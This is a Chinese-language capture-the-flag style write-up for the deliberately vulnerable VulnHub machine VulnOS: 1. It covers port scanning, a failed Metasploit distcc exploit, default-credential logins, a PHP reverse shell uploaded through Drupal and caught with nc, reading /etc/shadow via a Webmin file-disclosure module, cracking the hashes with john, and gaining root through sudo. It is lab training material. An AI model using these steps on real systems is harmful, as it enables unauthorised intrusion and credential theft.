vulnhub靶机渗透[vulnos-1]

名称

名称:VulnOS: 1
发布日期:2014年3月22日

下载

VulnOS.vdi-vbox.7z

  • Download (Mirror): https://download.vulnhub.com/vulnos/VulnOS.vdi-vbox.7z
  • Download (Torrent): https://download.vulnhub.com/vulnos/VulnOS.vdi-vbox.7z.torrent

描述

欢迎使用VulnOS!

这是制定的第一个脆弱目标,因为想回馈社区。为使事情成为可能的社区而努力!!!

目标是root它并找到操作系统内部的所有漏洞!这是一个ubuntu服务器10.04 LTS(已经制成了很多bug!!!)请勿在生产环境中使用此Box!这是一台VM,它是使用Virtualbox 4.3.8制作的-因此采用.vdi格式。

联网 :
此box是使用桥接网络制成的,并使用DHCP获取IP地址(在构建时为192.168.1.66)。因此,最好将攻击操作系统和TARGET BOX共享到192.168.1.1/24的IP范围也许您可以使用m0n0wall进行设置并设置静态IP地址。
如果找不到目标的IP地址,请联系blakrat1 AT gmail DOT com。将为您提供root用户和密码以进行登录…。

希望你觉得这个box有用 !!!

VulnHub独家!

信息收集

上nmap

1
2
3
4
C:\Users\HASEE>nmap -sn -v 192.168.56.*
Nmap scan report for 192.168.56.124
Host is up (0.00s latency).
MAC Address: 08:00:27:43:06:19 (Oracle VirtualBox virtual NIC)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
C:\Users\HASEE>nmap -p- -v -sV 192.168.56.124
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.3p1 Debian 3ubuntu7 (Ubuntu Linux; protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.7.0-P1
80/tcp open http Apache httpd 2.2.14 ((Ubuntu))
110/tcp open pop3 Dovecot pop3d
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd
389/tcp open ldap OpenLDAP 2.2.X - 2.3.X
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open shell Netkit rshd
901/tcp open http Samba SWAT administration server
993/tcp open ssl/imap Dovecot imapd
995/tcp open ssl/pop3 Dovecot pop3d
2000/tcp open sieve Dovecot timsieved
2049/tcp open nfs 2-4 (RPC #100003)
3306/tcp open mysql MySQL 5.1.73-0ubuntu0.10.04.1
3632/tcp open tcpwrapped
6667/tcp open irc IRCnet ircd
8070/tcp open ucs-isc?
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
10000/tcp open http MiniServ 0.01 (Webmin httpd)
33370/tcp open mountd 1-3 (RPC #100005)
56041/tcp open status 1 (RPC #100024)
56144/tcp open nlockmgr 1-4 (RPC #100021)
1
2
3
root@kali:~# nmap -T4 -p 3632 -v 192.168.56.124
PORT STATE SERVICE
3632/tcp open distccd

在服务上花了足够的时间并尝试利用它们之后,成功利用了端口3632上托管的“distccd”服务。

搜索该服务的漏洞利用程序,发现了Meatsploit漏洞利用

1
2
3
4
5
6
7
8
msf5 > search distccd

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/misc/distcc_exec 2002-02-01 excellent Yes DistCC Daemon Command Execution

设置RHOST IP地址并启动漏洞利用程序。

1
2
3
4
5
msf5 exploit(unix/misc/distcc_exec) > exploit

[*] Started reverse TCP double handler on 192.168.56.102:3456
[-] 192.168.56.124:3632 - Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by peer
[*] Exploit completed, but no session was created.

不知怎么回事,利用不了这个漏洞,可能是漏洞太古老,太久远了,只能尝试其他方法了。

非典型情况-许多端口是开放的。
更喜欢从快速验证(例如MySQL默认帐户,NFS等)开始,进行深度渗透测试。
试图使用默认凭据(例如root:root,root:toor,root:password,root:mysql)登录MySQL服务器。不幸的是没有成功。还检查了NFS,但没有好消息…

getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
root@kali:~# rpcinfo -p 192.168.56.124
program vers proto port service
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100024 1 udp 60680 status
100024 1 tcp 40626 status
100021 1 udp 38218 nlockmgr
100021 3 udp 38218 nlockmgr
100021 4 udp 38218 nlockmgr
100021 1 tcp 44108 nlockmgr
100021 3 tcp 44108 nlockmgr
100021 4 tcp 44108 nlockmgr
100003 2 udp 2049 nfs
100003 3 udp 2049 nfs
100003 4 udp 2049 nfs
100003 2 tcp 2049 nfs
100003 3 tcp 2049 nfs
100003 4 tcp 2049 nfs
100005 1 udp 55441 mountd
100005 1 tcp 33014 mountd
100005 2 udp 55441 mountd
100005 2 tcp 33014 mountd
100005 3 udp 55441 mountd
100005 3 tcp 33014 mountd
root@kali:~# showmount -e 192.168.56.124
Export list for 192.168.56.124:

尝试使用OpenSSH。进行了大量研究,发现一些专门用于OpenSSH <= 5.3的漏洞利用,但是它不起作用。

好的,现在轮到Web浏览。默认网页如下所示

源代码也不包含任何有用的信息。单击被转发到的链接

嗯,也没什么有用的东西。应该记住,端口80不仅是一个开放的http端口。运行dirbuster爆破目录试试

该目标使用Apache 2.2.14,它存在公共漏洞利用程序(CVE-2010-0425)。Metasploit具有专用于此版本的辅助模块。但是,现在只想在没有其他方法的情况下使用metasploit。

Dirbuster发现该Web应用程序还具有phpmyadmin面板。因此,请尝试使用默认凭据登录,如root/toor。答对了!

以root身份成功登录!很好。尝试从/etc/shadow加载数据,但与/etc/passwd相反(可能权限不足)没有成功。

有系统用户的完整列表。尝试使用outfile语句创建phpinfo文件,但未成功。

检查一下可以从数据库中检索到什么在Drupal6数据库中,可以找到

好!但是必须破解这些hash。在mysql数据库中,可以找到以下凭证

非常好,因为拥有与/etc/passwd文件中部分相同的用户名。破解了几个密码,例如drupal6密码drupal6。所以,现在专注于Drupal

浏览器访问下面的url并使用drupal6/drupal6登录

1
http://192.168.56.124/drupal6/

现在,必须找到上传PHP后门的地方。在《Administer》中,添加允许扩展的php和phtml。创建了帖子并附加了PHP后门。成功上传phtml后门文件,然后点击它…

访问shell

1
http://192.168.56.124/drupal6/sites/default/files/phpreverseshell2.phtml

然后kali端使用nc监听

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@kali:~# nc -lvp 5566
listening on [any] 5566 ...
192.168.56.124: inverse host lookup failed: Host name lookup failure
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.124] 56444
Linux VulnOS 2.6.32-57-generic-pae #119-Ubuntu SMP Wed Feb 19 01:20:04 UTC 2014 i686 GNU/Linux
05:30:10 up 1:05, 0 users, load average: 0.03, 0.05, 0.34
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
$ pwd
/

优秀!获得了有限制的shell!检查了目标操作系统,并找到Ubuntu 10.04。不幸的是,每项攻击都行不通。花了很多时间寻找一些“秘密”文件,

1
2
$ cat /etc/nagios3/htpasswd.users
nagiosadmin:8A86JOBWoCwnk

将/etc/passwd文件中的用户名作为字典列表,可能会有帮助。尝试使用john破解此密码

1
2
3
4
5
6
7
8
9
10
root@kali:~/vulnhub/vulnos-1# john pass --wordlist=/root/vulnhub/vulnos-1/wordlist
Using default input encoding: UTF-8
Loaded 1 password hash (descrypt, traditional crypt(3) [DES 256/256 AVX2])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 44 candidates left, minimum 1024 needed for performance.
canuhack (nagiosadmin)
1g 0:00:00:00 DONE (2020-04-17 03:25) 100.0g/s 4400p/s 4400c/s 4400C/s root..canuhack
Use the "--show" option to display all of the cracked passwords reliably
Session completed

很遗憾,没有nagiosadmin用户。/etc/passwd中的用户名为hackme,所以也许应该为canuhackme作为用户密码?

使用msf的auxiliary/admin/webmin/file_disclosure模块尝试读取/etc/shadow文件内容

然后将canuhackme添加到字典中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
msf5 auxiliary(admin/webmin/file_disclosure) > show options

Module options (auxiliary/admin/webmin/file_disclosure):

Name Current Setting Required Description
---- --------------- -------- -----------
DIR /unauthenticated yes Webmin directory path
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.56.124 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPATH /etc/shadow yes The file to download
RPORT 10000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host


Auxiliary action:

Name Description
---- -----------
Download


msf5 auxiliary(admin/webmin/file_disclosure) > run
[*] Running module against 192.168.56.124

[*] Attempting to retrieve /etc/shadow...
[*] The server returned: 200 Document follows
root:*:16137:0:99999:7:::
daemon:*:16137:0:99999:7:::
bin:*:16137:0:99999:7:::
sys:*:16137:0:99999:7:::
sync:*:16137:0:99999:7:::
games:*:16137:0:99999:7:::
man:*:16137:0:99999:7:::
lp:*:16137:0:99999:7:::
mail:*:16137:0:99999:7:::
news:*:16137:0:99999:7:::
uucp:*:16137:0:99999:7:::
proxy:*:16137:0:99999:7:::
www-data:*:16137:0:99999:7:::
backup:*:16137:0:99999:7:::
list:*:16137:0:99999:7:::
irc:*:16137:0:99999:7:::
gnats:*:16137:0:99999:7:::
nobody:*:16137:0:99999:7:::
libuuid:!:16137:0:99999:7:::
syslog:*:16137:0:99999:7:::
landscape:*:16137:0:99999:7:::
vulnosadmin:$6$SLXu95CH$pVAdp447R4MEFKtHrWcDV7WIBuiP2Yp0NJTVPyg37K9U11SFuLena8p.xbnSVJFAeg1WO28ljNAPrlXaghLmo/:16137:0:99999:7:::
sysadmin:admin:16137:0:99999:7:::
webmin:webmin:16137:0:99999:7:::
hackme:hackme:16137:0:99999:7:::
sa:password1:16137:0:99999:7:::
stupiduser:stupiduser:16137:0:99999:7:::
messagebus:*:16137:0:99999:7:::
distccd:*:16137:0:99999:7:::
sshd:*:16138:0:99999:7:::
openldap:!:16138:0:99999:7:::
ftp:!:16138:0:99999:7:::
mysql:!:16138:0:99999:7:::
telnetd:*:16138:0:99999:7:::
bind:*:16138:0:99999:7:::
postgres:*:16138:0:99999:7:::
postfix:*:16138:0:99999:7:::
dovecot:*:16138:0:99999:7:::
tomcat6:*:16138:0:99999:7:::
statd:*:16138:0:99999:7:::
snmp:*:16138:0:99999:7:::
nagios:!:16140:0:99999:7:::
openerp:*:16140:0:99999:7:::
[*] Auxiliary module execution completed

再次使用john加载字典进行破解

1
2
3
4
5
6
7
8
9
10
11
root@kali:~/vulnhub/vulnos-1# cat pass2
vulnosadmin:$6$SLXu95CH$pVAdp447R4MEFKtHrWcDV7WIBuiP2Yp0NJTVPyg37K9U11SFuLena8p.xbnSVJFAeg1WO28ljNAPrlXaghLmo/root@kali:~/vulnhub/vulnos-1# john pass2 --wordlist=/root/vulnhub/vulnos-1/wordlist
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
canuhackme (vulnosadmin)
1g 0:00:00:00 DONE (2020-04-17 03:52) 50.00g/s 2200p/s 2200c/s 2200C/s root..canuhackme
Use the "--show" option to display all of the cracked passwords reliably
Session completed

得到ssh登录用户名:vulnosadmin,密码:canuhackme

登录并提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
root@kali:~# ssh vulnosadmin@192.168.56.124
Enter passphrase for key '/root/.ssh/id_rsa':
vulnosadmin@192.168.56.124's password:
Linux VulnOS 2.6.32-57-generic-pae #119-Ubuntu SMP Wed Feb 19 01:20:04 UTC 2014 i686 GNU/Linux
Ubuntu 10.04.4 LTS

Welcome to Ubuntu!
* Documentation: https://help.ubuntu.com/

System information as of Fri Apr 17 09:55:15 CEST 2020

System load: 0.0 Processes: 141
Usage of /: 16.3% of 23.06GB Users logged in: 0
Memory usage: 38% IP address for eth0: 192.168.56.124
Swap usage: 0%

Graph this data and manage this system at:
https://landscape.canonical.com/

New release 'precise' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Wed Mar 19 17:31:44 2014 from 192.168.1.3
vulnosadmin@VulnOS:~$ id
uid=1000(vulnosadmin) gid=1000(vulnosadmin) groepen=4(adm),20(dialout),24(cdrom),46(plugdev),109(lpadmin),110(sambashare),111(admin),1000(vulnosadmin)
vulnosadmin@VulnOS:~$ whoami
vulnosadmin
vulnosadmin@VulnOS:~$ sudo -l
[sudo] password for vulnosadmin:
Matching Defaults entries for vulnosadmin on this host:
env_reset

User vulnosadmin may run the following commands on this host:
(ALL) ALL
vulnosadmin@VulnOS:~$ su
Wachtwoord:
su: Authenticatie fout
vulnosadmin@VulnOS:~$ sudo su
root@VulnOS:/home/vulnosadmin# id
uid=0(root) gid=0(root) groepen=0(root)
root@VulnOS:/home/vulnosadmin# whoami
root
root@VulnOS:/home/vulnosadmin# cd /root
root@VulnOS:~# ls
hello.txt
root@VulnOS:~# cat hello.txt
Hello,

So you got root... You still need to find the rest of the vulnerabilities inside the OS !

TRY HARDER !!!!!!!

成功登录,提权到root然后拿到了flag

注意,此靶机的漏洞非常多,在此不一一尝试了,有兴趣自己去尝试,有新的方法可以联系我QQ:1185151867。

知识点总结

  • msf exploit/unix/misc/distcc_exec 模块利用distcc漏洞getshell
  • phpmyadmin弱口令
  • Drupal修改配置项上传phtml shell
  • john加载/etc/passwd用户名字典破解hash密码
  • msf auxiliary/admin/webmin/file_disclosure模块读取/etc/shadow文件内容
  • sudo su 然后输入密码提权

Game over

不好意思,这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本,i am so sorry about this…It’s a pity…

The end,to be continue…